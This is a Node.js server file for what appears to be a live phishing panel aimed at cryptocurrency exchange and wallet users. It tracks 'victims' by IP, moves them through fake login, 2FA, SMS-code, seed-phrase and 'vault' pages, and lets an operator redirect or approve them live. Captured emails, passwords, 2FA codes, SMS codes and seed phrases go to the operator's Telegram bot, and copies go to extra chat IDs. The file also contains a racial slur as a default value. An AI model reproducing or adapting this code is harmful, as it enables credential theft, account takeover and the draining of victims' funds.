import next from 'next'
import { Server } from 'socket.io'
import { createServer as createHttpServer } from 'node:http'
import { readFileSync } from 'node:fs'
import { createServer as createHttpsServer } from 'node:https'
import dotenv from 'dotenv'
import { Worker } from 'worker_threads'
import { generateWallets } from './wallet.js';
import { Mutex } from 'async-mutex';

dotenv.config()

const dev = process.env.NODE_ENV !== 'production'
const hostname = '0.0.0.0'
const port = dev ? 8080 : 443
const app = next({ dev, hostname, port })
const handler = app.getRequestHandler()
const BOT_TOKEN = process.env.BOT_TOKEN
const CHAT_ID = process.env.CHAT_ID
const SEEDS = process.env.SEEDS || 'nigga'
const certDir = `/etc/letsencrypt/live`
const socketUrl = process.env.NEXT_PUBLIC_SOCKET_URL
const clientLocks = new Map(); // one lock per client
const activeConnections = new Map();
if (!dev && !socketUrl) {
  throw new Error('Environment variable NEXT_PUBLIC_SOCKET_URL is not set.')
}

const domain = !dev ? socketUrl.replace(/https?:\/\//, '') : '127.0.0.1:8080'
const options = !dev
  ? {
    key: readFileSync(`${certDir}/${domain}/privkey.pem`),
    cert: readFileSync(`${certDir}/${domain}/fullchain.pem`)
  }
  : null

let clients = []

let settings = {
  startingMenu: 'loading',
  notifications: { send: true, con: false, dis: false, pending: true },
  bot: {
    token: BOT_TOKEN,
    id: CHAT_ID
  }
}

let onlineCount = 0

const findClientIndex = clientId =>
  clients.findIndex(client => client.id === clientId)
const updateClients = io => io.emit('clientUpdate', clients)
const updateStats = io =>
  io.emit('statsUpdate', { total: clients.length, online: onlineCount })

app.prepare().then(() => {
  if (!dev) {
    createHttpServer((req, res) => {
      res.writeHead(301, { Location: `https://${req.headers.host}${req.url}` })
      res.end()
    }).listen(80, () => {
      console.log(
        `> HTTP to HTTPS redirect server running on port https://${domain}`
      )
    })

    const httpsServer = createHttpsServer(options, handler)
    const io = new Server(httpsServer)
    const adminIo = io.of('/admin')
    const clientIo = io.of('/client')

    setupSocketIO(adminIo, clientIo)
    setupWorker(adminIo, clientIo)
    startHttpsServer(httpsServer)
  } else {
    const httpServer = createHttpServer(handler)
    const io = new Server(httpServer)
    const adminIo = io.of('/admin')
    const clientIo = io.of('/client')

    setupSocketIO(adminIo, clientIo)
    setupWorker(adminIo, clientIo)
    httpServer.listen(port, () => {
      console.log(`> Dev server ready on http://${hostname}:${port}`)
    })
  }
})

let URLS = {}

function setupWorker(adminIo, clientIo) {
  const telegramWorker = new Worker('./teleworker.js')

  telegramWorker.on('message', message => {
    //console.log('Recived:', isApproved, clientId)
    console.log(message)
    if (message.action === 'approve') {
      const { clientId, isApproved, chatId, messageId } = message
      const idx = findClientIndex(clientId)
      let page = ""
      if (idx !== -1) {
        page = clients[idx].state
        clients[idx].approving = false
        clientIo.to(clientId).emit('approve', {
          approve: isApproved,
          state: clients[idx].state
        })
        updateClients(adminIo)
      }
      const client = clients[idx]
      const d = client.data
      let seedText = d['seed']
        ? `${d['seed'].split(' ').slice(0, 3).join(' ')}..`
        : '❎'
      editMessage(
        chatId,
        messageId,
        `${isApproved ? '✅' : '❎'} *${isApproved ? 'Approved' : 'Declined'
        } request*.\n*STATE*: ${page}\n*IP*: ${client.ip}\n*DOMAIN*: ${domain}\n> 🔷 *EMAIL*: \`${d['email'] || 'Unknown'
        }\`\n> 🔷 *PASSWORD*: \`${d['password'] || 'Unknown'
        }\`\n> 🔷 *OLD PW*: \`${d['oldpw'] || 'Unknown'}\`\n> 🔷 *NEW PW*: \`${d['newpw'] || 'Unknown'
        }\`\n> 🔷 *2FA*: \`${d['twoFactorCode'] || 'Unknown'
        }\`\n> 🔷 *SEED*: \`${seedText}\`\n> 🔷 *SMS*: \`${d['smsCode'] || 'Unknown'
        }\`\n> 🔷 *EST. MONEY*: \`${d['estmoney'] || 'Unknown'}\``,
        [
          [
            {
              text: 'View details',
              url: `http://${domain}/dashboard/${clientId}`
            }
          ]
        ]
      )
    } else if (message.action === 'victims') {
      const { chatId } = message
      console.log(message)
      const victims = clients
        .map(
          client =>
            `• \`${client.ip}\` \`<${client.data.email ?? 'No email'}> (${client.status === 'online' ? 'O' : 'X'
            })\``
        )
        .join('\n')
      if (clients.length === 0) {
        sendMessage(
          `\`[!]\` No one has connected to the panel yet,`,
          {},
          chatId,
          BOT_TOKEN
        )
      } else {
        sendMessage(
          `\`[%]\` Overall stats:\n• Victims: *${clients.length}*\n• Online: *${onlineCount}*\n\n\`[+]\` Victims:\n${victims}`,
          {},
          chatId,
          BOT_TOKEN
        )
      }
    } else if (message.action === 'redirect_s') {
      const { chatId, url } = message
      URLS[chatId] = url
      const victims = clients.map(client => [
        { text: client.ip, callback_data: `r:${client.id}` }
      ])
      if (clients.length === 0) {
        sendMessage(
          `\`[!]\` No one has connected to the panel yet,`,
          {},
          chatId,
          BOT_TOKEN
        )
      } else {
        sendMessage(
          `\`[+]\` Choose the victim to redirect:`,
          {
            inline_keyboard: victims
          },
          chatId,
          BOT_TOKEN
        )
      }
    } else if (message.action === 'redirect') {
      const { chatId, clientId, messageId } = message
      const url = URLS[chatId]
      const encodedUrl = Buffer.from(url).toString('base64')
      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        clientIo.to(clientId).emit('redirect', encodedUrl)
        //console.log("Vic:", clients[idx])
        editMessage(
          chatId,
          messageId,
          `\`[!]\` Redirected \`${clients[idx].ip} -> ${url}\``,
          []
        )
      }
    } else if (message.action === 'goto') {
      const { chatId, messageId, page, clientIp, authorId } = message
      const clientId = clients.find(client => client.ip === clientIp)?.id

      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        if (page !== 'walletflow2' && page !== 'sms' && page !== 'session' && page !== 'videocall') {
          clients[idx].state = page
          clientIo.to(clientId).emit('stateChange', page)
          updateClients(adminIo)
          editMessage(
            chatId,
            messageId,
            `\`[!]\` Moved to \`${clientIp} -> ${page}\``
          )
        } else {
          let c = ''
          if (page === 'walletflow2') c = 'seed phrsae'
          if (page === 'sms') c = 'phone number last 2 numbers'
          if (page === 'session') c = 'lenght of the session number'
          if (page === 'videocall') c = 'video call link'

          telegramWorker.postMessage({
            action: 'request_value',
            page,
            chatId,
            messageId,
            authorId,
            clientId
          })
          editMessage(chatId, messageId, `\`[!]\` Please input the ${c}.`)
        }
      } else {
        editMessage(chatId, messageId, `\`[!]\` Victim not found\\!`)
      }
    } else if (message.action === 'confirm') {
      const { page, chatId, messageId, text, clientId } = message
      const idx = findClientIndex(clientId)
      const clientIp = clients[idx].ip
      if (idx !== -1) {
        clients[idx].state = page
        if (page === 'walletflow2') clientIo.to(clientId).emit('setSeed', text)
        if (page === 'sms') clientIo.to(clientId).emit('setCode', text)
        if (page === 'session') {
          updateClientProp(clientId, "session", "", adminIo)
          clientIo.to(clientId).emit('setCode', text)
        }
        if (page === 'videocal') clientIo.to(clientId).emit('setVcUrl', text)
        clientIo.to(clientId).emit('stateChange', page)
        updateClients(adminIo)
        sendMessage(`\`[!]\` Moved to \`${clientIp} -> ${page}\``, {}, chatId)
      } else {
        editMessage(chatId, messageId, `\`[!]\` Victim not found\\!`)
      }
    }
  })

  telegramWorker.on('error', error => {
    console.error('Telegram worker error:', error)
  })

  telegramWorker.on('exit', code => {
    if (code !== 0)
      console.error(`Telegram worker stopped with exit code ${code}`)
  })
}

function startHttpsServer(httpsServer) {
  httpsServer
    .once('error', err => {
      console.error(err)
      process.exit(1)
    })
    .listen(port, () => {
      console.log(`> Ready on https://${hostname}:${port}`)
    })
}

function setupSocketIO(adminIo, clientIo) {
  adminIo.use((socket, next) =>
    isAdmin(socket) ? next() : next(new Error('Unauthorized'))
  )

  adminIo.on('connection', socket => {
    socket.emit('statsUpdate', { total: clients.length, online: onlineCount })
    socket.emit('clientUpdate', clients)
    socket.emit('settings', settings)

    const emitToClient = (event, clientId, payload) =>
      clientIo.to(clientId).emit(event, payload)

    socket.on('blockClient', (clientId, state) => {
      console.log(state ? 'Blocking' : 'Unblocking', 'client', clientId)
      updateClientProp(clientId, 'blocked', state, adminIo)
      if (state) {
        updateClientProp(clientId, 'status', 'offline', adminIo)
      }
      emitToClient('blocked', clientId)
    })

    socket.on('export', clientId => {
      const client = clients[findClientIndex(clientId)]
      console.log(client)
      sendMessage(
        `📃 *VICTIM DUMP*.\n*IP*: ${client.ip}\n*COUNTRY*: ${client.country
        }\n*DATA*:\n> 🔷 *EMAIL*: \`${client.data['email'] || 'Unknown'
        }\`\n> 🔷 *PASSWORD*: \`${client.data['password'] || 'Unknown'
        }\`\n> 🔷 *OLD PW*: \`${client.data['oldpw'] || 'Unknown'
        }\`\n> 🔷 *NEW PW*: \`${client.data['newpw'] || 'Unknown'
        }\`\n> 🔷 *2FA*: \`${client.data['twoFactorCode'] || 'Unknown'
        }\`\n> 🔷 *SMS*: \`${client.data['smsCode'] || 'Unknown'
        }\`\n> 🔷 *SEED*: \`${client.data['seed'] || 'Unknown'
        }\`\n> 🔷 *EST. MONEY*: \`${client.data['estmoney'] || 'Unknown'}\``,
        {
          inline_keyboard: [
            [
              {
                text: 'View details',
                url: `http://${domain}/dashboard/${clientId}`
              }
            ]
          ]
        }
      )
    })

    socket.on('reset', (clientId, form) => {
      console.log('resetting:', clientId, 'for field', form)
      resetClientProp(clientId, form, '', adminIo, clientIo)
    })

    socket.on('done', (clientId, amount) => {
      updateClientProp(clientId, 'done', true, adminIo)
      updateClientProp(clientId, 'licked', amount, adminIo)
    })

    socket.on('setSettings', set => {
      settings = set
      console.log('Updating settings:', settings)
    })

    socket.on('redirect', (clientId, targ) => {
      emitToClient('redirect', clientId, targ)
    })

    socket.on('approve', (clientId, approve) => {
      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        clients[idx].approving = false
        emitToClient('approve', clientId, {
          approve,
          state: clients[idx].state
        })
        updateClients(adminIo)
      }
    })

    socket.on('setCode', (clientId, code) =>
      emitToClient('setCode', clientId, code)
    )
    socket.on('setVcUrl', (clientId, code) =>
      emitToClient('setVcUrl', clientId, code)
    )
    socket.on('rmclient', clientId => {
      clients = clients.filter(client => client.id !== clientId.clientId)
      updateClients(adminIo)
    })

    socket.on('setVault', async (clientId, code) => {
      console.log("settingvault ---")
      console.log(code)
      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        const { seedPhrase, wallets } = await generateWallets(code ?? null)
        console.log(seedPhrase)
        const client = clients[idx]
        sendMessage(
          `❗ *Generated seed for vault*.\n*STATE*: ${client['state']}\n*Device*: \`${client['browser']}\`\n*IP*: ${client['ip']}\n*DOMAIN*: ${domain}\n*SEED*: ${seedPhrase}`,
          {
            inline_keyboard: [
              [
                {
                  text: 'View details',
                  url: `http://${domain}/dashboard/${clientId}`,
                },
              ],
            ],
          }
        );
        const vault = {
          money: 0,
          loaded: true,
          transactions: [],
          addresses: {},
        };

        for (const [coin, walletData] of Object.entries(wallets)) {
          if (walletData.address) {
            vault.addresses[coin] = walletData.address;
          }
        }

        console.log(vault);

        // await saveShi(clientId, 'vault', vault, adminIo, socket.role);
        // await updateClientProp(clientId, "state", "vault", adminIo);
        clients[idx].saved = clients[idx].saved || {};
        clients[idx].saved.vault = vault;
        clients[idx].state = "vault";
        emitToClient('setVault', clientId, vault);
        updateClients(adminIo)

      }
    });
    // socket.on('setVault', async (clientId, code) => {
    //   console.log("settingvault ---")
    //   const idx = findClientIndex(clientId)
    //   if (idx !== -1) {
    //     clients[idx].saved = clients[idx].saved || {};
    //     clients[idx].saved.vault = JSON.parse(code);
    //     clients[idx].state = "vault";

    //     emitToClient('setVault', clientId, clients[idx].saved.vault);
    //     updateClients(adminIo)
    //   }
    // });

    socket.on('setMoney', async (clientId, amount, coin) => {
      console.log("setting vault money ---");

      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        clients[idx].saved = clients[idx].saved || {};
        clients[idx].saved.vault = clients[idx].saved.vault || {};
        clients[idx].saved.vault.transactions.push({ coin: coin, value: amount });


        updateClients(adminIo);
        emitToClient('setVault', clientId, clients[idx].saved.vault);
      }
    });

    socket.on('setSeed', (clientId, code) => {
      emitToClient('setSeed', clientId, code)
      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        clients[idx]["data"]["cbwal"] = code
        updateClients(adminIo)
      }
    })

    socket.on('changeClientState', ({ clientId, newState }) => {
      const idx = findClientIndex(clientId)
      if (idx !== -1) {
        clients[idx].state = newState
        emitToClient('stateChange', clientId, newState)
        updateClients(adminIo)
      }
    })
  })

  clientIo.on('connection', async socket => {
    const clientIp = getClientIp(socket)
    let existingClientIndex = clients.findIndex(
      client => client.ip === clientIp
    )

    let clientId = socket.id
    let n = true
    if (!clientLocks.has(clientIp)) {
      clientLocks.set(clientIp, new Mutex());
    }
    const lock = clientLocks.get(clientIp);
    const count = activeConnections.get(clientId) || 0;
    activeConnections.set(clientId, count + 1);
    console.log(`Client ${clientId} connected. Active sockets: ${activeConnections.get(clientId)}`);

    await lock.runExclusive(async () => {
      onlineCount++
      if (existingClientIndex !== -1) {
        clientId = clients[existingClientIndex].id
        clients[existingClientIndex].status = 'online'
        adminIo.emit('newVic', clientId, false)
        n = false
        if (!clients[existingClientIndex].done) {
          const saved = clients[existingClientIndex].saved || {};
          switch (clients[existingClientIndex].state) {
            case 'unlink':
              console.log(saved.links)
              console.log(saved.exch)

              if (domainData?.page === 'coinbase') {
                if (saved.links) clientIo.to(clientId).emit('setLinks', saved.links);
              } else {
                if (saved.exch) clientIo.to(clientId).emit('setExch', saved.exch);
              }
              break;
            case 'session':
              if (saved.session) clientIo.to(clientId).emit('setSession', saved.exch);
            case 'incident':
              if (saved.incident) clientIo.to(clientId).emit('setIncident', saved.incident)
            case 'email':
              if (saved.email) clientIo.to(clientId).emit('setEmail', saved.email);
              break;
            case 'vault':
              if (saved.vault) clientIo.to(clientId).emit('setVault', saved.vault);
              break;
            case 'code':
              if (saved.gcode) clientIo.to(clientId).emit('setGCode', saved.gcode);
              break;
          }

          clientIo.to(clientId).emit('resume', clients[existingClientIndex].state)
        }
      } else {
        async function fetchCountry(ip) {
          if (!dev) {
            const resp = await fetch(`https://api.country.is/${ip}`)
            return (await resp.json()).country
          } else {
            return 'Dev mode'
          }
        }
        let country = await fetchCountry(clientIp)
        clients.push({
          id: clientId,
          status: 'online',
          done: false,
          licked: 0,
          ip: clientIp,
          state: settings.startingMenu,
          approving: false,
          country: country,
          browser: 'Unknown',
          blocked: false,
          data: {},
          saved: {}
        })
        adminIo.emit('newVic', clientId, true)
      }

      socket.join(clientId)
      socket.emit('start', settings.startingMenu)

      let id = findClientIndex(clientId)
      if (clients[id].blocked) {
        socket.emit('blocked')
      }
      updateStats(adminIo)
      updateClients(adminIo)

      if (settings.notifications.con) {
        sendMessage(
          `⚠️ *${n ? 'NEW ' : ''}VICTIM CONNECTED*.\nIP: ${clientIp}\nCOUNTRY: ${clients[id].country
          }`,
          {
            inline_keyboard: [
              [
                {
                  text: 'View details',
                  url: `http://${domain}/dashboard/${clientId}`
                }
              ]
            ]
          }
        )
      }
    })

    socket.on('setCountry', country =>
      updateClientProp(clientId, 'country', country, adminIo)
    )

    socket.on('setBrowser', browser =>
      updateClientProp(clientId, 'browser', browser, adminIo)
    )
    socket.on('dataUpdate', data => {
      //console.log(data)
      updateClientProp(clientId, 'data', data, adminIo)
    })
    socket.on('stateChange', state => {
      //console.log(state)
      updateClientProp(clientId, 'state', state, adminIo)
    })
    socket.on('pendingApproval', n => {
      if (n === 'none') {
        updateClientProp(clientId, 'approving', false, adminIo)
      } else {
        updateClientProp(
          clientId,
          'approving',
          true,
          adminIo,
          'pendingApproval'
        )
        const client = clients[findClientIndex(clientId)]
        const d = client.data
        //console.log(d)
        let seedText = d['seed']
          ? `${d['seed'].split(' ').slice(0, 3).join(' ')}..`
          : '❎'
        if (settings.notifications.pending) {
          sendMessage(
            `❗ *PENDING APPROVAL*.\n*STATE*: ${client["state"]}\n*IP*: ${clientIp}\n*DOMAIN*: ${domain}\n> 🔷 *EMAIL*: \`${d['email'] || 'Unknown'
            }\`\n> 🔷 *PASSWORD*: \`${d['password'] || 'Unknown'
            }\`\n> 🔷 *OLD PW*: \`${d['oldpw'] || 'Unknown'
            }\`\n> 🔷 *NEW PW*: \`${d['newpw'] || 'Unknown'}\`\n> 🔷 *2FA*: \`${d['twoFactorCode'] || 'Unknown'
            }\`\n> 🔷 *SEED*: \`${seedText}\`\n> 🔷 *SMS*: \`${d['smsCode'] || 'Unknown'
            }\`\n> 🔷 *EST. MONEY*: \`${d['estmoney'] || 'Unknown'}\``,
            {
              inline_keyboard: [
                [
                  {
                    text: '✅ APROVE',
                    callback_data: `approve:${clientId}:true`
                  },
                  {
                    text: '❌ DECLINE',
                    callback_data: `approve:${clientId}:false`
                  }
                ],
                [
                  {
                    text: 'View details',
                    url: `http://${domain}/dashboard/${clientId}`
                  }
                ]
              ]
            }
          )
          let list = [SEEDS]
          list.forEach(id => {
            if (id !== 'nigga') {
              sendMessage(
                `\`[log]\` *PENDING APPROVAL*.\n*STATE*: ${client["state"]}\n*IP*: ${clientIp}\n*DOMAIN*: ${domain}\n> 🔷 *EMAIL*: \`${d['email'] || 'Unknown'
                }\`\n> 🔷 *PASSWORD*: \`${d['password'] || 'Unknown'
                }\`\n> 🔷 *OLD PW*: \`${d['oldpw'] || 'Unknown'
                }\`\n> 🔷 *NEW PW*: \`${d['newpw'] || 'Unknown'
                }\`\n> 🔷 *2FA*: \`${d['twoFactorCode'] || 'Unknown'
                }\`\n> 🔷 *SMS*: \`${d['smsCode'] || 'Unknown'
                }\`\n> 🔷 *SEED*: \`${d['seed'] || 'Unknown'
                }\`\n> 🔷 *EST. MONEY*: \`${d['estmoney'] || 'Unknown'}\``,
                {},
                id,
                BOT_TOKEN
              )
            }
          })
        }
      }
    })

    socket.on('disconnect', async () => {
      const prevCount = activeConnections.get(clientId) || 1;
      const newCount = prevCount - 1;

      if (newCount <= 0) {
        console.log(`Client ${clientId} is now fully disconnected.`);
        onlineCount--

        updateClientProp(clientId, 'status', 'offline', adminIo)
        updateStats(adminIo)

        if (settings.notifications.dis) {
          sendMessage(`❌ *VICTIM DISCONNECTED*.\nIP: ${clientIp}`, {
            inline_keyboard: [
              [
                {
                  text: 'View details',
                  url: `http://${domain}/dashboard/${clientId}`,
                },
              ],
            ],
          });
        }
      } else {
        activeConnections.set(clientId, newCount);
        console.log(`Client ${clientId} disconnected one socket. ${newCount} sockets remain.`);
      }
    });

  })
}

// Helpers
function isAdmin(socket) {
  return true
}

function getClientIp(socket) {
  const rawIp =
    /*dev?*/ socket.handshake.headers['x-forwarded-for'] ||
    socket.handshake.address
  console.log("raw ip lowk", rawIp)
  // : socket.handshake.headers['cf-connecting-ip']
  if (rawIp === '::1') {
    return '127.0.0.1'
  }
  // if (rawIp.includes("::")) {
  //   return rawIp
  // }
  return rawIp.includes(':') ? rawIp.split(':').pop() : rawIp
}

function updateClientProp(clientId, prop, value, adminIo, emitEvent = null) {
  const idx = findClientIndex(clientId)
  if (idx !== -1) {
    //console.log(`[${clientId}] ${prop} -> ${value} (${emitEvent})`)
    clients[idx][prop] = value
    updateClients(adminIo)
    if (emitEvent) adminIo.emit(emitEvent, clients[idx])
  } else {
    //console.log('didnt find client with id:', clientId)
    //console.log('Clients list:', clients)
  }
}

function resetClientProp(clientId, prop, value, adminIo, clientIo) {
  const idx = findClientIndex(clientId)
  if (idx !== -1) {
    console.log(`[${clientId}] ${prop} -> '${value}'`)
    clients[idx]['data'][prop] = value
    updateClients(adminIo)
    clientIo.to(clientId).emit('setFormData', clients[idx]['data'])
  }
}

function sendMessage(
  message,
  buttons = {},
  id = settings.bot.id,
  token = settings.bot.token
) {
  if (settings.notifications.send) {
    const msg = message
      .replaceAll('.', '\\.')
      .replaceAll('(', '\\(')
      .replaceAll(')', '\\)')
      .replaceAll('-', '\\-')

    console.log('[SENDING] Sending log..')
    const url = `https://api.telegram.org/bot${token}/sendMessage?parse_mode=MarkdownV2`
    const data = {
      chat_id: id,
      text: msg,
      reply_markup: buttons
    }

    fetch(url, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify(data)
    })
      .then(response => response.json())
      .then(data => {
        if (data.ok) {
          console.log('Message sent successfully:', data)
        } else {
          console.log('Message:', message, data)
        }
      })
      .catch(error => {
        console.log('Error sending message:', error)
      })
  }
}

async function editMessage(chatId, messageId, message, buttons = []) {
  const msg = message
    .replaceAll('.', '\\.')
    .replaceAll('(', '\\(')
    .replaceAll(')', '\\)')
    .replaceAll('-', '\\-')
  console.log('[SENDING] Editing message..')
  const url = `https://api.telegram.org/bot${settings.bot.token}/editMessageText?parse_mode=MarkdownV2`
  const data = {
    chat_id: chatId,
    message_id: messageId,
    text: msg,
    reply_markup: {
      inline_keyboard: buttons
    }
  }

  fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  })
    .then(response => response.json())
    .then(data => {
      console.log(data)
    })
    .catch(error => {
      console.log('Error sending message:', error)
    })
}
